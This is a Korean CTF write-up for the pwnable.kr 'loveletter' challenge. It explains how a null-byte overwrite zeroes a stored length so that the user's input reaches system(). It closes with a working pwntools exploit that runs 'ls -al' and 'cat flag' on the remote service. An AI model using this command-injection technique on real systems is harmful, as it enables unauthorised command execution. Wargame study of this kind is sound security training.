#Pwnable.kr #loveletter #Rookiss
loveletter 문제이다.
main 함수의 처음 부분이다. 전역변수 loveletter 256 바이트를 0으로 셋팅 해놓고, epilog 와 prolog 문구의 길이를 산출해내어 지역변수에 저장해놓는다. 해당 전역변수들은 후에 사용된다.
그리고 256 바이트짜리 배열 s 에 값을 입력받는다. 취약점 촉발의 시작이다.
그리고 protect
함수에 s 를 집어 넣고 "약간" 의 s 배열 손질을 한다.
protect 함수에서의 문제
로직은 대강 이러한데 strcpy
부분에 있는 특수문자 목록에 있는 문자가 s 에 있으면 즉시 멈춰서 해당 부분에 0xA599E2
를 때려박는다.
이 부분은 정확히 3바이트를 넣는 것처럼 보이지만, 디버거에서 보면 dword 단위로 전달하여, 결론적으로 0x00A599E2
값을 전달한다.
한 바이트의 0x00 은 어떤 결과를 낳을까? 해당 부분을 디버깅 해보자.
위에서 본 어셈코드 부분에서 멈췄다. 0x00A599E2
가 덮이기 전인데, s[253] 에 '#' 이 들어간 상황이다.
그러면, s[256] 에는 null 바이트가 들어갈텐데, 해당 부분은 배열 s 의 정상범위 영역이 아니다. 그러면 그곳에는 무엇이 있을까?
위 사진에 보이듯이 0x0000000c
값이 존재한다. 이 값은 우리가 맨처음 보았던 v5 = strlen(prolog);
코드에서의 v5 값이다.
이 길이 값이 0x00 이 된다면, 취약점이 터지게 되는데
처음 memcpy 에서 idx 는 초기값이 0 이므로 loveletter 에 길이 0 만큼 memcpy 를 한다음, 우리가 임의로 입력한 s 문자열을 loveletter 에 다시 넣는 꼴이 된다.
그리고 이 loveletter 결과를 system
함수로 실행시키는데, 만약 s 값을 /bin/sh\x00
같은 것을 했다면 쉘이 켜질 것이다.
여기서 근데 문제가 생긴다. /bin/sh\x00
값을 fgets
로 최초 전달할 때, 길이 254를 채우지못하고 널바이트 까지만 입력을 받아버리는 것이다. 그러면 일단 쉘은 절대로 못키고, 파일이나 열람해보고자 ls
를 시도한 후, 플래그를 읽어냈다.
아래는 익스코드!
from pwn import *
def ex(command):
s=remote("pwnable.kr",9034)
pay=command
pay+=b" "*(254-1-len(pay))
pay+=b"#" # overwrite size value
print(pay)
s.sendline(pay)
tmp=s.recvuntil("my mind...")
print(tmp.decode())
s.close()
#===<phase 1>===#
'''
Because NULL byte can't join in payload,
"/bin/sh" is not correct.
So, We can use "ls" command to find
which files are in remote enviorment.
'''
ex(b"ls -al . ")
#===<phase 2>===#
'''
We could find 'flag' file. Let's READ!!
'''
ex(b"cat flag")
'<Wargame & CTF> > Pwnable.kr' 카테고리의 다른 글
[Pwnable.kr] brainfuck (0) | 2021.05.30 |
---|---|
[Pwnable.kr] horcruxes (0) | 2021.05.30 |
[Pwnable.kr] blukat (0) | 2021.05.30 |
[Pwnable.kr] asm (0) | 2021.05.29 |
[Pwnable.kr] memcpy (0) | 2021.05.29 |